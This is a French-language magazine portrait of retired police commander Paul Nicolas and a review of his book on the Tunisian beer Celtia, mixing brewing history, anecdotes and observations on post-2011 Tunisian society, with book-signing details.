Portrait par Vianney Huguenot  / Photo : Luc Bertau


C’est un étonnant livre que publie l’ancien commandant de police messin, Paul Nicolas. Un dictionnaire amoureux de la bière, enrichi de récits d’équipées dans la société tunisienne post-révolutionnaire et dans l’histoire lorraine et luxembourgeoise.  Tout se croise et finalement se rejoint, par la grâce d’un homme amoureux de deux contrées, l’une natale, l’autre adoptive. Depuis trente-cinq ans, entre la Tunisie et la Lorraine, son cœur balance. Celtia. Histoire d’une bière de Tunisie, de Luxembourg à Tunis, chez Indola Éditions, est son sixième livre. Tous ont en commun le récit d’une aventure humaine.

Ouvrir le dernier ouvrage de Paul Nicolas a l’effet d’un décapsulage. Le bruit des bulles qui pétillent baptise la rencontre. On se réjouit d’un tel menu et on suit l’auteur nous baladant de surprises en étonnements, de la grande à la petite histoire de la bière, celle qui alimente une industrie conquérante, nourrit les jours des troquets de banlieue et les nuits des brasseries huppées, accompagne des plats ou des légendes, éclaire l’histoire, bouscule quelques-unes de nos croyances, dont celles des amateurs de vins et de whiskies souvent persuadés qu’ils surpassent l’épopée brassicole. D’emblée, Paul Nicolas met les points sur les i : « Appréciée depuis l’Antiquité pour ses vertus médicales et nutritives, la bière se déguste avec autant de finesse et de saveur que le vin. Elle a conquis les populations antérieurement au vin. Symbole de convivialité, elle est certainement la boisson la plus universelle au monde. Un héritage millénaire qui se célèbre sur tous les continents avec enthousiasme pour les consommateurs qui savent l’apprécier. Et avec modération, bien sûr. Elle est de tous les lieux et de tous pays, participant au quotidien autant qu’à l’exceptionnel ».

Né à Nancy en 1951, Paul Nicolas, également dès l’avant-propos, rappelle ce que son pays natal doit à la bière, et vice-versa : « Terre de tradition brassicole, la Lorraine occupe la troisième place des régions productrices de bière en France, après l’Alsace et le Nord-Pas-de-Calais. De nos jours, la brasserie Champigneulles, fondée en 1897 en Meurthe-et-Moselle près de Nancy, par Messieurs Antoine Trampitsch, immigré d’origine slovène, et Victor Hinzelin, directeur du journal L’Impérial de l’Est, est la plus ancienne des brasseries lorraines toujours en activité, tombée dans le giron du groupe brassicole allemand TCB en 2006. Sponsor officiel du Tour de France entre 1949 et 1965, et des Jeux Olympiques de 1968, sa notoriété n’est plus à faire ». L’on s’étonne au passage, vu de notre petit monde de 2021, que les reines des manifestations sportives mondiales fussent un jour couronnées d’une collaboration d’alcools en bouteille…

Lequel alcool, rappelle l’auteur, « est un mot d’origine arabe. Jusqu’à ce qu’il se mettent à distiller le vin, au début du Moyen Âge, les Arabes se servaient de l’alambic pour produire le khôl, un fard à paupières provenant d’une poudre minérale de couleur noire, destinée au femmes. L’alcool étant issu du même procédé, il hérita du même nom, al khôl, qui apparut dans la langue romane de la péninsule ibérique en 1278. En France, le nom alcool ne s’est vraiment généralisé qu’à partir du XVIe siècle, parallèlement à l’expansion de sa consommation ». Là ne sont pas les seules anecdotes offrant au livre un relief plaisant, l’effet d’une balade paisible en terre pas si inconnue. Le livre apporte en digestif un glossaire utile et amusant, guidant le lecteur dans les allées d’un jargon certes scientifique et technique mais aussi argotique. Nous savons désormais qu’un baron, « verre de bière dont la contenance est d’un litre, est aussi appelé en France Formidable, Distingué, Sérieux ou Mini-chevalier », que curieusement un demi ne fait qu’un quart de litre, que « la dentelle nomme les traces de mousse restant sur les parois d’un verre après chaque gorgée » et que l’Ibu – rien à voir avec l’ibuprofène – « est une unité de mesure de l’amertume ».

Le cœur du livre, plat de résistance, nous emmène donc en Tunisie, sorte de terre re-natale de Paul Nicolas, qu’il découvre en 1985 au hasard d’un voyage organisé. Il sillonne ensuite le pays en voiture. « Je n’ai en Tunisie aucune racine, aucun business, juste des amis ». Après un livre, en 2017, de portraits de Tunisiennes et Tunisiens de Lorraine (le ministre Philippe Séguin, l’ingénieure Inès Abidi, le sénateur Patrick Abate, le cardiologue Faiez Zannad, le musicien Faouzi Bentara, le sous-préfet Imed Bentaleb…), Paul Nicolas récidive et réitère aujourd’hui sa déclaration d’amour à travers, cette fois, l’histoire de Celtia et plus largement des bières tunisiennes, histoires industrielles, sociales, politiques, techniques, gastronomiques. « Pourquoi une telle attirance pour Celtia  ? », s’interroge-t-il. Il répond avec les armes du poète drôle et désarmant : « L’amour porté à une bière peut paraître surréaliste. Ce sentiment vif et intense, unissant attirance et tendresse, concerne généralement la passion qu’éprouvent deux êtres humains. Alors, pourquoi cette fascination pour une telle boisson ? Celtia n’est pas qu’une simple bière que l’on avale au comptoir d’un bar. Elle mérite plus de considération. Il en émane une sorte de majesté lorsque les lèvres, à la première gorgée, ressentent de cet or mousseux la fraîcheur amplifiée par l’écume et l’amertume. Le pain est l’énergie de la vie, mais la bière est la vie même ! ». Qui a dit que les flics étaient des brutes ?

 

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Celtia. Histoire d’une bière de Tunisie, de Luxembourg à Tunis

de Paul Nicolas aux éditions Indola 121pages -20 € TTC

Pour commander l’ouvrage : www.lestrademensuel.fr/produit/celtia

Paul Nicolas sera présent à la librairie Hisler, située 1 Rue Ambroise Thomas à Metz pour la présentation et la dédicace de son ouvrage Celtia. Histoire d’une bière de Tunisie, de Luxembourg à Tunis le vendredi 17 décembre.

 


Observateur raffiné d’une société complexe

La bière dessinant en pointillé un portrait sociologique de la nouvelle Tunisie : Paul Nicolas réussit aussi ce pari. Extrait des pages sur l’aventure Celtia : « Même si l’alcool, la bière en particulier, coule à flots dans la Tunisie de l’après 2011 [NDLR : année de la Révolution du Jasmin en Tunisie], sa libéralisation demeure encore un sujet tabou (…) La femme tunisienne, libérée sous l’ère Bourguiba, est omniprésente dans toutes les sphères de la société, occupant pour nombre d’entre elles des postes à responsabilité dans divers domaines. Cependant, elle est encore sujette à la pression sociale et l’espace public ne semble pas encore approprié pour elle, même à Tunis, pourtant considérée comme une capitale progressiste dans le monde arabo-musulman. Il en est ainsi de ces cafés exclusivement fréquentés par les hommes dont la plupart d’entre eux perçoivent toujours la non-mixité comme un symbole affirmé de tranquillité ».

Femmes et hommes, leurs secrets et paradoxes, leurs audaces et renoncements, ce tourbillon de pâte humaine forme le fil rouge de tous les livres de Paul Nicolas : Sidi Brahim des neiges… sur les traces du 4e régiment de tirailleurs tunisiens (2008), La Ghriba, pèlerinage juif en terre d’islam (2010), Ma vie de flic (2013), 1914-1918 les Poilus d’Afrique du Nord (2015), Tunisien[ne] s de Lorraine (2017). Dans l’environnement de cet auteur sensible, attaché à la vérité des faits, foisonnent des compagnons de routes plus ou moins longues, tous jurant qu’ils sont heureux d’avoir cet homme pour ami. Discret et attentif, observateur raffiné d’une société complexe, Paul Nicolas a bâti ses propres révolutions, en douceur : de sa scolarité à Sarreguemines à son monde éditorial franco-tunisien.

Entre les deux, un CAP d’ajusteur en 1969, une capacité en droit en 1972 à l’université de Metz, un concours d’inspecteur en 1974, un poste de commandant de police à la direction régionales des Renseignements Généraux en 2006, des routes, une mer, des envies d’aller voir ailleurs comment les autres mondes brassent le temps.